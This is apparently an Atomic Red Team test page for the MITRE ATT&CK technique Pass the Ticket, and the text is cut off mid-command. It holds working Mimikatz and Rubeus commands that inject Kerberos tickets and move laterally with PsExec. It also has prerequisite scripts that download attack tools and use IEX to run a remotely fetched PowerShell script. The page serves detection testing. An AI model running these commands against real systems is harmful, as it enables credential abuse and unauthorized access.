# T1550.003 - Use Alternate Authentication Material: Pass the Ticket

## Description from ATT&CK

> Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
> 
> When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)
> 
> A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)
> 
> A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)
> 
> Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)

[Source](https://attack.mitre.org/techniques/T1550/003)

## Atomic Tests

- [Atomic Test #1: Mimikatz Kerberos Ticket Attack](#atomic-test-1-mimikatz-kerberos-ticket-attack)
- [Atomic Test #2: Rubeus Kerberos Pass The Ticket](#atomic-test-2-rubeus-kerberos-pass-the-ticket)

### Atomic Test #1: Mimikatz Kerberos Ticket Attack

Similar to PTH, but attacking Kerberos

**Supported Platforms:** Windows

**auto_generated_guid:** `dbf38128-7ba7-4776-bedf-cc2eed432098`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ticket | Ticket file name usually format of 'id-username&#92;@domain.kirbi' (e.g. can be dumped by "sekurlsa::tickets /export" module) | string | |
| mimikatz_exe | Path of the Mimikatz binary | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;bin&#92;x64&#92;mimikatz.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
"#{mimikatz_exe}" "kerberos::ptt #{ticket}"
```


#### Dependencies: Run with `powershell`!

##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})

###### Check Prereq Commands

```powershell
if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
```

### Atomic Test #2: Rubeus Kerberos Pass The Ticket

Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.

**Supported Platforms:** Windows

**auto_generated_guid:** `a2fc4ec5-12c6-4fb4-b661-961f23f359cb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target | Remote system to request the TGT from | string | localhost|
| user_name | username associated with the ticket (privileged account not required) | string | Administrator|
| password | password for user_name | string | Password|
| domain | domain | string | $Env:USERDOMAIN|
| rubeus_url | URL of Rubeus executable | url | https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
& "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula \\#{target} -w c:\ -c "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi
Set-Location "PathToAtomicsFolder\..\ExternalPayloads"
Move-Item -Force "\\#{target}\c$\ticket.kirbi" ticket.kirbi
Write-Host "Successfully retrieved TGT from '#{target}', now requesting a TGS from local"
& "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\ticket.kirbi"
& "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" purge
```


#### Dependencies: Run with `powershell`!

##### Description: Rubeus must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"

###### Check Prereq Commands

```powershell
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-Webrequest -Uri #{rubeus_url} -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"
```

##### Description: PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"

###### Check Prereq Commands

```powershell
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathTo